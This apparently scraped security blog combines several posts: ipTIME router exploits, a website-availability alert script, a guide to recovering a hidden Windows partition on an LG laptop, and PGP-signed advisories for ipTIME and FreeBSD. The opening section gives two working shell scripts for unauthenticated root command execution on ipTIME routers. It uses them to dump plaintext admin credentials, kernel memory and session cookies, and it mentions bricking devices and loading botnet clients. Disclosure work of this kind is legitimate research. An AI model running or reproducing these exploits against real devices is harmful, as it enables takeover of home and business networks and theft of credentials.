ip422 ip449 ip802 ip803 n104 n104a n104i n104m n2 n3004 n5004 n504 n6004 n604 n604i n604m n7004
n704 n704m nx505 q1 q304 q504 t1004 t1008 t2008 tq204 tv104 tv108 tv116 tv124 x1005 x3003 x5007 z54g
By analysis updated firmwares, in total 127 devices were affected:
a1004 a1004v a104 a104ns a104r a2004 a2004ns a2004r a2008 a3004 a3004ns a5004ns a604 a604v extac extd2
g1 g104 g104a g104be g104i g104m g204 g501 g504 ipsmart mini mobap1 multi n1 n104 n104a n104ar1 n104i
n104k n104ktt n104m n104p n104q n104r n104r3 n104rsk n104s n104sr1 n104t n104v n104vlg n1e n1eky n1p
n2 n2e n2p n3004 n5 n5004 n504 n5r1 n6004 n6004m n6004r n604 n604a n604i n604m n604p n604r n604s
n604t n604v n604vlg n608 n7004ns n702bcm n704 n704a n704a3 n704bcm n704lg n704m n704mlg n704ns
n704s n704v n704v3 n8004 n8004r n8004v n804 n804a n804a3 n804t n804t3 n804v n904 n904ns n904v
ng104 ng304 ntq104 ntv108 ntv116 ntv124 q1 q304 q504 q604 t1004 t1008 t16000 t2008 t24000 t3004
t3008 timeve tq204 tv104 v1016 v1024 v304 v308 v504 wre1 x3003 x3007 x5007 x6003
Here are the working exploits:
Exploit against the firmwares in ALL versions from 2008 to 2015 - until 9.50 firmware:
$ cat iptime.carnage.l2
#!/bin/sh
if [ ! $1 ]; then
echo "Usage:"
echo $0 ip command
exit 1
fi
wget -qO- --post-data="echo 'Content-type: text/plain
'; PATH=$PATH:/sbin $2 $3 $4" http://$1/cgi-bin/sh
$
Exploit against firmware v9.52:
$ cat iptime.carnage.l2.v9.52
#!/bin/sh
if [ ! $1 ]; then
echo "Usage:"
echo $0 ip command
exit 1
fi
wget -qO- --post-data="echo 'Content-type: text/plain
'; PATH=$PATH:/sbin:/bin $2 $3 $4" http://$1/sess-bin/sh
$
Now we test the exploits in my lab!
How to retrieve the credentials ? (see login and password at the end of the text file)
An online JavaScript POC is available here. - (exploit for version 9.52)
Using CLI:
kali# ./iptime.carnage.l2.v9.52 192.168.0.1 cat /tmp/etc/iconfig.cfg
wantype.wan1=dynamic
dhblock.eth1=0
ppp_mtu=1454
fakedns=0
upnp=1
ppp_mtu=1454
timeserver=time.windows.com,gmt23,1,540,0
wan_ifname=eth1
auto_dns=1
dhcp_auto_detect=0
wireless_ifmode+wlan0=wlan0,0
dhcpd=1
lan_ip=192.168.0.1
lan_netmask=255.255.255.0
dhcpd_conf=br0,192.168.0.2,192.168.0.254,192.168.0.1,255.255.255.0
dhcpd_dns=164.124.101.2,168.126.63.2
dhcpd_opt=7200,30,200,
dhcpd_configfile=/etc/udhcpd.conf
dhcpd_lease_file=/etc/udhcpd.leases
dhcpd_static_lease_file=/etc/udhcpd.static
http_auth=session
use_captcha=1
login=test
password=test
org_hwaddr.eth1=90:9F:XX:XX:XX
nat_passthrough=0
kali#
Login and password are stored in plaintext, which is a very bad security practice.
Listing of the filesystem
An online JavaScript POC is available here. - (exploit for version 9.52)
Current running process:
An online JavaScript POC is available here. - (exploit for version 9.52)
Using CLI:
kali# ./iptime.carnage.l2.v9.52 192.168.0.1 ps -auxww
PID Uid VmSize Stat Command
1 root 720 S init single
2 root SW [keventd]
3 root RWN [ksoftirqd_CPU0]
4 root SW [kswapd]
5 root SW [bdflush]
6 root SW [kupdated]
7 root SW [mtdblockd]
252 root 1176 S /sbin/dhcpd
270 root 436 S apcpd
272 root 432 S /sbin/iptables-q
299 root 372 S /bin/wscd -start -c /var/wsc.conf -w wlan0 -fi /var/w
303 root 260 S /bin/iwcontrol wlan0
463 root 684 S httpd
496 root 288 S /bin/sh
498 root 300 R ps -auxww
kali#
Getting the kernel memory:
An online POC is available here. - (exploit for version 9.52)
Using CLI:
./iptime.carnage.l2.v9.52 192.168.0.1 cat /proc/kcore
The device runs Linux 2.4.18, 12 year old Linux, full of CVEs (local AND remote):
<4>Linux version 2.4.18-MIPS-01.00 (rtlwl@ski) (gcc version 3.4.6-1.3.6) #128 Tue Feb 10 10:57:17 KST 2015
<4>early printk enabled
<4>Determined physical RAM map:
<4> memory: 01000000 @ 00000000 (usable)
<4>On node 0 totalpages: 4096
<4>zone(0): 4096 pages.
<4>zone(1): 0 pages.
<4>zone(2): 0 pages.
<4>Kernel command line: root=/dev/mtdblock1 console=0 single
<4>Calibrating delay loop... 399.76 BogoMIPS
<4>Memory: 9500k/16384k available (2310k kernel code, 6884k reserved, 416k data, 60k init, 0k highmem)
<4>Dentry-cache hash table entries: 2048 (order: 2, 16384 bytes)
<4>Inode-cache hash table entries: 1024 (order: 1, 8192 bytes)
<4>Mount-cache hash table entries: 512 (order: 0, 4096 bytes)
<4>Buffer-cache hash table entries: 1024 (order: 0, 4096 bytes)
<4>Page-cache hash table entries: 4096 (order: 2, 16384 bytes)
Grabbing the valid HTTP authentication cookies:
kali# ./iptime.carnage.l2.v9.52 192.168.0.1 cat /proc/kcore | strings | grep Cookie
Cookie: efm_session_id=iNYV3r097DPbMDWu
Cookie: efm_session_id=iNYV3r097DPbMDWu
Cookie: efm_session_id=i3HJh4V15YLkf2l2
Cookie: efm_session_id=i3HJh4V15YLkf2l2
Cookie: efm_session_id=iNYV3r097DPbMDWu
Cookie: efm_session_id=iNYV3r097DPbMDWu
Cookie: efm_session_id=i3HJh4V15YLkf2l2
Cookie: efm_session_id=i3HJh4V15YLkf2l2
Cookie: efm_session_id=i3HJh4V15YLkf2l2
Cookie: efm_session_id=iNYV3r097DPbMDWu
Cookie: efm_session_id=iNYV3r097DPbMDWu
Cookie: efm_session_id=iNYV3r097DPbMDWu
Default firewall rules:
An online JavaScript POC is available here. - (exploit for version 9.52)
Using CLI:
kali# ./iptime.carnage.l2.v9.52 192.168.0.1 iptables -nL
Chain INPUT (policy DROP)
target prot opt source destination
DROP 47 -- 0.0.0.0/0 0.0.0.0/0
DROP tcp -- 0.0.0.0/0 0.0.0.0/0 tcp dpt:1723
radius2g all -- 0.0.0.0/0 0.0.0.0/0
ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 tcp spt:25
ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 tcp dpt:80
ACCEPT icmp -- 0.0.0.0/0 0.0.0.0/0
ACCEPT udp -- 0.0.0.0/0 0.0.0.0/0 udp dpts:67:68
ACCEPT udp -- 0.0.0.0/0 0.0.0.0/0 udp spt:53
ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 tcp spt:80
ACCEPT udp -- 0.0.0.0/0 0.0.0.0/0 udp spt:36500
ACCEPT udp -- 0.0.0.0/0 0.0.0.0/0 udp dpts:33434:33600
ACCEPT icmp -- 192.168.0.1 192.168.0.1 icmp type 8
Chain FORWARD (policy ACCEPT)
target prot opt source destination
TCPMSS tcp -- 0.0.0.0/0 0.0.0.0/0 tcp flags:0x06/0x02 TCPMSS clamp to PMTU
app_filter all -- 0.0.0.0/0 0.0.0.0/0
app_forward all -- 0.0.0.0/0 0.0.0.0/0
Chain OUTPUT (policy ACCEPT)
target prot opt source destination
Chain app_filter (1 references)
target prot opt source destination
Chain app_forward (1 references)
target prot opt source destination
Chain ext_accesslist (0 references)
target prot opt source destination
DROP tcp -- 0.0.0.0/0 0.0.0.0/0 tcp dpt:80
Chain int_accesslist (0 references)
target prot opt source destination
RETURN all -- 0.0.0.0/0 192.168.255.250
RETURN all -- 0.0.0.0/0 192.168.255.1
DROP tcp -- 0.0.0.0/0 0.0.0.0/0 tcp dpt:80
Chain plantynet (0 references)
target prot opt source destination
plantynet_free all -- 0.0.0.0/0 0.0.0.0/0
QUEUE tcp -- 0.0.0.0/0 0.0.0.0/0 multiport dports 80,8080
Chain plantynet_free (1 references)
target prot opt source destination
Chain radius2g (1 references)
target prot opt source destination
Chain upnp (0 references)
target prot opt source destination
Opening the management interface on the WAN:
An online JavaScript POC is available here. - (exploit for version 9.52)
Architecture:
An online JavaScript POC is available here. - (exploit for version 9.52)
Using CLI:
kali# ./iptime.carnage.l2.v9.52 192.168.0.1 cat /proc/cpuinfo
system type : Philips Nino
processor : 0
cpu model : R3000 V0.0
BogoMIPS : 399.76
wait instruction : yes
microsecond timers : no
tlb_entries : 32
extra interrupt vector : no
hardware watchpoint : no
VCED exceptions : not available
VCEI exceptions : not available
ll emulations : 0
sc emulations : 0
Reboot the device:
An JavaScript online POC is available here. - (exploit for version 9.52)
Brick the device:
An online POC is available here. - (exploit for version 9.52)
By the way, d.cgi in /bin/ is an intentional backdoor from ipTIME.
Uploading and executing a botnet client is left as an exercise to the reader.
More fun from iptime products is coming ~~~
Follow me on Twitter @PierreKimSec.
inurl:timepro.cgi
iptime.org ddns
inurl:iptime.org
Hello,
In order to help a friend to monitor his webservices, I have written a small tool to check the availability of the different webservices.
The script is used with crontab and the Freemobile API provides the possibility to send free SMS (free as a free beer). You can choose if you prefer SMS alerts, email alerts or both. It checks the HTTP return code of the webpages : anything other than 200 will trigger the alert.
You have to edit: - ALERT_SMS_API - ALERT_EMAIL - LOGFILE - use_sms=y (by default, yes) - use_email=y (by default, yes)
#!/bin/sh
# apt-get install screen curl mailutils
URL=$1
ALERT_SMS_API="https://smsapi.free-mobile.fr/sendmsg?user=USERID_FIXME&pass=PASSWORD_FIXME&msg="
ALERT_EMAIL="email@email0.com_FIXME email@email1.com_FIXME"
LOGFILE=/home/availability/alert.log
use_sms=y
use_email=y
umask 077
if [ ! $1 ]; then
echo "usage $0 http://www.url.to/test"
exit 1
fi
if [ ! -f "${LOGFILE}" ]; then
touch "${LOGFILE}"
fi
alert() {
current_date=$(date "+%Y-%m-%d %H:%m:%S")
msg="${current_date} - ALERT on $1"
echo "${msg} - alert()" >> ${LOGFILE}
if [ ${use_sms} = "y" ]; then
curl -sL -o /dev/null --insecure "${ALERT_SMS_API}${msg}"
echo "${msg} - sms sent" >> ${LOGFILE}
fi
if [ ${use_email} = "y" ]; then
for j in ${ALERT_EMAIL}
do
echo "${msg}" | mail -s "${msg}" ${j}
echo "${msg} - email sent to ${j}" >> ${LOGFILE}
done
fi
}
curl 2>/dev/null >/dev/null
if [ $? -ne 2 ]; then
alert "curl not found"
exit
fi
output=$(curl -sL -w "%{http_code}\n" "$1" -o /dev/null --connect-timeout 5)
if [ $? -ne 0 ]; then
alert ${URL}
exit
fi
if [ "X${output}" != "X200" ]; then
alert ${URL}
exit
fi
The crontabs to check the webservices every 5 minutes are:
*/5 * * * * /home/availability/alert-availability.sh http://domain.com/path/to/webservice0
*/5 * * * * /home/availability/alert-availability.sh http://domain.com/path/to/webservice1
*/5 * * * * /home/availability/alert-availability.sh http://domain.com/path/to/webservice2
*/5 * * * * /home/availability/alert-availability.sh http://domain.com/path/to/webservice3
This tool was tested on a Debian 7.6. So you need perhaps to run apt to install the necessary packages:
apt-get install curl mailutils
You can see the past alerts as entries in the logfile:
2015-05-01 13:10:02 - ALERT on http://www.XXX.XXX/status/XXXX - alert()
2015-05-01 13:10:02 - ALERT on http://www.XXX.XXX/status/XXXX - sms sent
2015-05-01 13:10:02 - ALERT on http://www.XXX.XXX/status/XXXX - email sent to email@email0.com_FIXME
2015-05-01 13:10:02 - ALERT on http://www.XXX.XXX/status/XXXX - email sent to email@email1.com_FIXME
Hello,
I just bought a new laptop, a LG 13ZD950. This laptop can be purchased without Windows in South Korea (like a lot of new laptops in South Korea).
The "Windows-free" version doesn't boot on a system by default: you have to install your own OS.
Before installing Linux, I analyzed the internal SSD: even if the laptop is "Windows-free", Windows seems to be present but the laptop doesn't boot.
By default, you can only see a 10GB NTFS partition (/dev/sda1) called "DnA" containing 3GB of Windows drivers.
I will explain now how to recover a full Windows 8.1 factory copy available in the SSD.
The laptop is brand new. According to S.M.A.R.T, the SSD is new too.
Boot with Kali Linux then use testdisk (from photorec):
kali% sudo testdisk /dev/sda
Use Intel/PC partition and Analyse the hard disk:
You will see the 10GB NTFS partition, called "DnA" containing 3GB of Windows drivers.
The Quick Search option discovered 2 new partitions:
The "Windows" partition contains a fully bootable Windows 8.1 system.
The "ICPE" partition is a rescue partition allowing the reinstallation of Windows 8.1 from scratch.
Now confirm the Windows partition as a bootable partition:
Reboot now!
The Windows initialization system will ask the user name, the computer name and the default preferred color. After this, you have now a fully working Windows 8.1 system with a "Windows-free" LG laptop. Enjoy!
Hello Windows 8.1:
ipTIME's statement about 112 vulnerable devices seems to be incorrect, so the precedent advisory was incorrect.
By analysis the new firmwares, there are 127 ipTIME vulnerable devices:
ipTIME a1004
ipTIME a1004v
ipTIME a104
ipTIME a104ns
ipTIME a104r
ipTIME a2004
ipTIME a2004ns
ipTIME a2004r
ipTIME a2008
ipTIME a3004
ipTIME a3004ns
ipTIME a5004ns
ipTIME a604
ipTIME a604v
ipTIME extac
ipTIME extd2
ipTIME g1
ipTIME g104
ipTIME g104a
ipTIME g104be
ipTIME g104i
ipTIME g104m
ipTIME g204
ipTIME g501
ipTIME g504
ipTIME ipsmart
ipTIME mini
ipTIME mobap1
ipTIME multi
ipTIME n1
ipTIME n104
ipTIME n104a
ipTIME n104ar1
ipTIME n104i
ipTIME n104k
ipTIME n104ktt
ipTIME n104m
ipTIME n104p
ipTIME n104q
ipTIME n104r
ipTIME n104r3
ipTIME n104rsk
ipTIME n104s
ipTIME n104sr1
ipTIME n104t
ipTIME n104v
ipTIME n104vlg
ipTIME n1e
ipTIME n1eky
ipTIME n1p
ipTIME n2
ipTIME n2e
ipTIME n2p
ipTIME n3004
ipTIME n5
ipTIME n5004
ipTIME n504
ipTIME n5r1
ipTIME n6004
ipTIME n6004m
ipTIME n6004r
ipTIME n604
ipTIME n604a
ipTIME n604i
ipTIME n604m
ipTIME n604p
ipTIME n604r
ipTIME n604s
ipTIME n604t
ipTIME n604v
ipTIME n604vlg
ipTIME n608
ipTIME n7004ns
ipTIME n702bcm
ipTIME n704
ipTIME n704a
ipTIME n704a3
ipTIME n704bcm
ipTIME n704lg
ipTIME n704m
ipTIME n704mlg
ipTIME n704ns
ipTIME n704s
ipTIME n704v
ipTIME n704v3
ipTIME n8004
ipTIME n8004r
ipTIME n8004v
ipTIME n804
ipTIME n804a
ipTIME n804a3
ipTIME n804t
ipTIME n804t3
ipTIME n804v
ipTIME n904
ipTIME n904ns
ipTIME n904v
ipTIME ng104
ipTIME ng304
ipTIME ntq104
ipTIME ntv108
ipTIME ntv116
ipTIME ntv124
ipTIME q1
ipTIME q304
ipTIME q504
ipTIME q604
ipTIME t1004
ipTIME t1008
ipTIME t16000
ipTIME t2008
ipTIME t24000
ipTIME t3004
ipTIME t3008
ipTIME timeve
ipTIME tq204
ipTIME tv104
ipTIME v1016
ipTIME v1024
ipTIME v304
ipTIME v308
ipTIME v504
ipTIME wre1
ipTIME x3003
ipTIME x3007
ipTIME x5007
ipTIME x6003
You can download firmwares here: http://download.iptime.com/download/router/
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512
## Advisory Information
Title: 112 ipTIME Routers/WiFi APs/Modems/Firewalls models vulnerable with RCE with root privileges
Advisory URL: https://pierrekim.github.io/advisories/2015-iptime-0x00.txt.asc
Date published: 2015-04-17
Vendors contacted: KrCERT, ipTIME
Release mode: Released
CVE: no current CVE
## Product Description
EFMNetworks ipTIME is the largest Korean brand of SOHO/small/middle entreprise Routers/WiFi APs/Modems/Firewalls in South Korea
with millions of devices deployed in the country. EFMNetworks ipTIME is occupying more than 60 percent of personal network devices.
There are =~ 10 000 000 of ipTIME devices deployed in South Korea.
## Vulnerability Summary
This vulnerability allows to bypass the admin authentication and to get a direct RCE as root from the LAN side with a single HTTP request.
This is a direct RCE against the Routers/WiFi APs/Modems/Firewalls which gives a complete root access to the embedded Linux from the LAN side.
The exploit doesn't work by default from the WAN (no HTTP or UPNP access from the WAN by default unless activated).
If enabled on the WAN, the remote admin interface exposes the devices to this vulnerability.
It affects 112 ipTIME products from 2009-era firmwares to the 9.52 firmware (built time 2015-03-23)) with the default configuration:
- ipTIME A5004NS
- ipTIME A3004NS
- ipTIME A3004
- ipTIME A2004NS
- ipTIME A2004NSplus
- ipTIME A2004
- ipTIME A2004plus
- ipTIME A2008
- ipTIME A1004
- ipTIME A1004V
- ipTIME A104
- ipTIME A104NS
- ipTIME N6004R
- ipTIME N8004R
- ipTIME N8004V
- ipTIME N8004
- ipTIME N804A3
- ipTIME N804T3
- ipTIME N904
- ipTIME N904plus
- ipTIME N904V
- ipTIME N904Vplus
- ipTIME N704V3
- ipTIME N704BCM
- ipTIME N704A3
- ipTIME N604S
- ipTIME N604A
- ipTIME N104S-r1
- ipTIME Smart
- ipTIME N904NS
- ipTIME N704NS
- ipTIME N604T
- ipTIME N604Tplus
- ipTIME N7004NS
- ipTIME N104V
- ipTIME N604V
- ipTIME N604Vplus
- ipTIME N604R
- ipTIME N604Rplus
- ipTIME N604plus
- ipTIME N104R
- ipTIME N104Q
- ipTIME N104plus
- ipTIME N104K
- ipTIME N5
- ipTIME N2plus
- ipTIME N1plus
- ipTIME N1E
- ipTIME N804V
- ipTIME N804T
- ipTIME N804A
- ipTIME N804
- ipTIME N2E
- ipTIME N2Eplus
- ipTIME N104A
- ipTIME N104S
- ipTIME N104i
- ipTIME N1
- ipTIME N104
- ipTIME N104M
- ipTIME N504
- ipTIME N604i
- ipTIME N604M
- ipTIME N608
- ipTIME N704
- ipTIME N704A
- ipTIME N704M
- ipTIME N704S
- ipTIME N704V
- ipTIME N3004
- ipTIME N5004
- ipTIME N6004
- ipTIME N6004M
- ipTIME N104T
- ipTIME N5-r1
- ipTIME N104-r3
- ipTIME WR-E1
- ipTIME Mini
- ipTIME MobileAP1
- ipTIME Multi
- ipTIME Extender2
- ipTIME G1
- ipTIME G104
- ipTIME G104BE
- ipTIME G104M
- ipTIME G204
- ipTIME G304
- ipTIME G504
- ipTIME G504
- ipTIME G104i
- ipTIME G104A
- ipTIME Q604
- ipTIME V304
- ipTIME T3004
- ipTIME T3008
- ipTIME T16000
- ipTIME T24000
- ipTIME Q1
- ipTIME Q104
- ipTIME Q204
- ipTIME Q304
- ipTIME Q504
- ipTIME V104
- ipTIME V108
- ipTIME V308
- ipTIME V116
- ipTIME V124
- ipTIME V1024
- ipTIME V1016
- ipTIME T1004
- ipTIME T1008
- ipTIME X3003
- ipTIME X3007
- ipTIME X5007
- ipTIME X6003
Concerning the high CVSS score (10/10) of the vulnerability, the number of affected devices and the longevity of this vulnerability (6+ year old), we urge users to apply the new 9.58 firmware.
## Details
The HTTP server allows the attacker to execute some CGI files.
Many of them are vulnerable to a command inclusion which allows to execute commands with the http daemon user rights (root).
root@kali:~/iptime# ./iptime.carnage 192.168.0.1 cat /var/run/hwinfo
company_name=EFM Networks
product_name=ipTIME N604V
url=www.iptime.co.kr
max_vlan=5
mirror_port=1
num_lan_port=4
lan_port_swap=1
max_port=5
wan_port=5
firmup_duration=100
reboot_duration=40
max_wds=4
max_macauth=32
wireless_ifname=eth0
wan_ifname=eth2.2
local_ifname=br0
br0_port=eth2.1,eth0
port_diag=1
flash_diag_dev=/dev/mtd
bootloader_size=0x10000
max_firmware_size=0x200000
save_flash_offset=0x10000
save_flash_size=0x10000
flash_sector_size=0x10000
max_syslog=400
ip_conntrack_max=8192
udp_conntrack_max=4096
icmp_conntrack_max=1024
auth_server=auth2.efm-net.com
wan_ifidx=5
language=kr
product_alias=n604v
root@kali:~/iptime# ./iptime.carnage 192.168.0.1 cat /home/http/build_date
Mon Mar 23 14:54:50 KST 2015
root@kali:~/iptime#
Considering the huge potential impact against the South Korea networks, we are not currently planning to release working exploits.
The exploits will be posted on my blog located at https://pierrekim.github.io/blog/
## Vendor Response
The vendor has released a new firmware version (9.58) for 112 devices:
http://iptime.com/iptime/?uid=16202&mod=document&page_id=16
## Report Timeline
* Jun 01, 2014: Vulnerability found by Pierre Kim and Alexandre Torres.
* Mar 24, 2015: Vulnerability confirmed on all the existing versions from 2009 to 2015 including the last firmware version.
* Apr 07, 2015: KRCERT is notified of the vulnerability using the FIRST dedicated email.
* Apr 08, 2015: Pierre Kim tries to contact KRCERT using http://eng.krcert.or.kr/contactus/contact.jsp : this form doesn't work (nor <form>, nor JS for form-submission).
* Apr 08, 2015: Vendor is contacted (security@iptime.com) to provide a valid GPG key.
* Apr 08, 2015: Email sent to security@iptime.com is bounced.
* Apr 08, 2015: Vendor is contacted (support@iptime.com) for a GPG key.
* Apr 09, 2015: KRCERT is contacted (cert@krcert.or.kr - support email) for a GPG key.
* Apr 09, 2015: vuln@krcert.or.kr is contacted.
* Apr 09, 2015: KISA is contacted for a GPG key at http://www.kisa.or.kr/eng/contactUs/contactUs.jsp: 400 Bad Request or alert box saying the message was malformed.
* Apr 09, 2015: KISA is contacted using Twitter (https://twitter.com/PierreKimSec/status/585986016294674433).
* Apr 09, 2015: FIRST KRCERT answered asking for information about the vulnerabilites and agreed to contact ipTIME to develop a security patch as soon as possible.
* Apr 09, 2015: 2 POCs are sent to FIRST KRCERT by email.
* Apr 13, 2015: FIRST KRCERT confirms the POCs work and said they can't assign CVE. They ask a 90 days disclosure policy to allow ipTIME to work on this issue and asks if we can disclose the vulnerabilities details after a patch is released.
* Apr 13, 2015: MITRE is contacted asking for a CVE number.
* Apr 13, 2015: FIRST KRCERT is contacted : we agree on the 90 days vulnerability disclosure policy. We ask which models are vulnerable.
* Apr 14, 2015: vuln@krcert.or.kr replies with one vulnerable model. The vulnerability information is sent to ipTIME and we have to use vuln@krcert.or.kr as a contact address now.
* Apr 15, 2015: vuln@krcert.or.kr is contacted for a GPG key concerning other vulnerabilities found in ipTIME products.
* Apr 16, 2015: Vendor releases 112 new firmwares.
* Apr 16, 2015: vuln@krcert.or.kr is contacted to know if this new firmware fixes the vulnerabilities we reported. The vendor advisory specifies only "User Interface-related security" in Korean (thank you Google Translate).
* Apr 16, 2015: From our tests, the vulnerabilities have been fixed.
* Apr 17, 2015: A public advisory is sent to security mailing lists.
## Credit
This vulnerability was found by Alexandre Torres and Pierre Kim (@PierreKimSec).
## Greetings
Big thanks to my friend working at YongSan, specialized in server hardware and alcohol, which gave me for free an ipTIME X3003 which resulted this complete pownage.
## References
http://iptime.com/iptime/?uid=16202&mod=document&page_id=16
https://pierrekim.github.io/advisories/2015-iptime-0x00.txt.asc
## Disclaimer
This advisory is licensed under a Creative Commons Attribution Non-Commercial
Share-Alike 3.0 License: http://creativecommons.org/licenses/by-nc-sa/3.0/
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1
iQIcBAEBCgAGBQJVMHSPAAoJEMQ+Dtp9ky28/5gP/3xaajDhO5Y/u8PkegkGJ4bZ
63tbiOAh2CiioWzwQXhgPUVqCua8Fh+SFqrrwf1j3klZtiNPR8ThUiQC1efE9q2+
Q8oc4KMpb0Ysf+HuFBAU7mdqNZazZukAOTttDMSProap72D5QkqzRrWEiYk5Lk/9
R5/rj94iEZ3ZM3gZkFp1HHSKvkfTXdZdwxv4r2bq3URxqmUnj3aZ/ITmqxLEYEgT
ufjoaGXodffnNJZNyhFpnIMgK6DZvs8/WdH2+zCKsCltru7ou2biBD1m0LIbYli4
tCUOzgUQ+FlR7KDmUmBWhtVQodKsWdOSnDJKnyjvLueS1YCGBLMuMiNnbtdmYU8Z
qdFmAEnSysrxWupk+sPZkcxrzI/8eIbON937JrrCzTaE7jNNgTyhW1AwmDqMDpqe
pWfPogBRZ1LpUSiOC++zFkkayVMVyhOmqDttrRMhCzW7bCuM9dmPBfBTjqiq6luZ
HRofLYmG7PBtqCwEJi+AMzWydCJgnOEq2d26AK2BoDK2PuBfGG5Rg47HC82lNOsR
0mejdpCYJXBw30YjMG5O3cH1PjlG5JfVYXsHmaFTfvN9Omz8xJZBY2528e4gNCOS
SkyGa4CFJ/QF6N+3kgc5AWpjuvAdtfqINBK2OShNdASGHC+Z4Eyj9J+eaXvu8g7J
k6tQ5BWKb21foIfsrYyT
=XTn6
-----END PGP SIGNATURE-----
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256
## Advisory Information
Title: FreeBSD 10.x ZFS encryption.key disclosure (CVE-2015-1415)
Advisory URL: https://pierrekim.github.io/advisories/CVE-2015-1415.txt.asc
Date published: 2015-04-07
Vendors contacted: FreeBSD
Release mode: Coordinated release
## Product Description
FreeBSD is a UNIX-like operating system.
## Vulnerability Summary
FreeBSD 10.x installer supports the installation of FreeBSD 10.x on an
encrypted ZFS filesystem by default.
When using the encryption system within ZFS during the installation of
FreeBSD 10.0 and FreeBSD 10.1, the encryption.key has wrong permissions
which allow local users to read this file.
Even if the keyfile is passphrase-encrypted, it can present a risk.
## Details
By default, the encryption key file is /boot/encryption.key.
Instead of being 0600, the permissions are 0644:
$ ls -la /boot/encryption.key
- -rw-r--r-- 1 root wheel 4096 Feb 17 15:16 /boot/encryption.key
$
This file is readable by a local user.
## Vendor Response
According to the vendor, a security advisory will be published, describing
the problem and the solution. It concerns:
- stable/10, 10.1-STABLE
- releng/10.1, 10.1-RELEASE-p8
- releng/10.0, 10.0-RELEASE-p18
## Report Timeline
* Mar 01, 2015: Problem found by Pierre Kim
* Apr 01, 2015: Vendor is notified of the vulnerability
* Apr 01, 2015: Vendor confirms report and indicates a fix is prepared
but there will be no security advisory format notification because of
the nature of the problem
* Apr 02, 2015: Pierre Kim asks a CVE number to the vendor
* Apr 02, 2015: Vendor indicates to use CVE-2015-1415 and confirms that a
signed notification to the mailing lists will be sent.
* Apr 03, 2015: Pierre Kim contacts FreeBSD about the future notification
* Apr 04, 2015: Vendor confirms a security advisory will be published
next week
* Apr 07, 2015: Vendor publishes a security advisory (FreeBSD-SA-15:08)
* Apt 07, 2015: This advisory is sent to bugtraq@
## Credit
This vulnerability was found by Pierre Kim (@PierreKimSec).
## References
https://www.freebsd.org/doc/handbook/bsdinstall-partitioning.html
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-1415
https://www.freebsd.org/security/advisories/FreeBSD-SA-15:08.bsdinstall.asc
## Disclaimer
This advisory is licensed under a Creative Commons Attribution Non-Commercial
Share-Alike 3.0 License: http://creativecommons.org/licenses/by-nc-sa/3.0/
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1
iQIcBAEBCAAGBQJVJF22AAoJEMQ+Dtp9ky28NDgP/iW9YALiZKLPVhnShFEhFO4C
SvSza1s7LJkhtOH8qOGplzTrn8wSV5BNhwzMaIaKpksP5RjoCkynxvAw/OncazPl
tsfHM89m7bQ4puyXF3eb6lMkfaIkxoDAXM5R5DFb2Q+3wg4SDygdM7+BQEdqCXDV
2B+ZNGae2CcsqLq04zjskFgY2bwqNMyX3GbbmUJvVI5IXQIS30e1lVIq8zxcK7u0
lKFlVyp+gdyusenPz0lCqR82Pe1IA3tHuNn2zw3/EudT4VhD789/t/0lEWlSyNg7
uiTCqFpQXnpEnvXEez1gZiDuNccIMXXYv0agB+/mYkkoviQPk5jqCwI5rvs+ppFU
IH0gAafqS/UIl5+/dhDdIVDA4+r4WWLUxJfFkDy4ThCQHZtZMCsBYk3/RNJBPDUW
JiVZWV8LSSHtYfWj7YoiCswuC9FLp6CT9e+/XQUJjpNrwfpeT5KlFOCFUKQXwV6W
5nUJnQhjVfrXVjeRuOvMCInSwG8DWbfyX75QMmJNyV7aPMrS2prRXbOlTLuQUyzP
cJkmToeO4XE4COV+jvtC+c39Booy3r8yp3lfHmz1NXffiv6Ua+11vLamUeYOVPew
r4TmionPpSeAx3ODhKEKGjW+HIkl9sx3WcSnEBl88Aqd3Zv77G3ok4usFz4PvPnb
/hnH/lhpePtv13jyZpXc
=pOPH
-----END PGP SIGNATURE-----
Annyeong haseyo!
I will use this blog to post fun things about IT security and kimchi.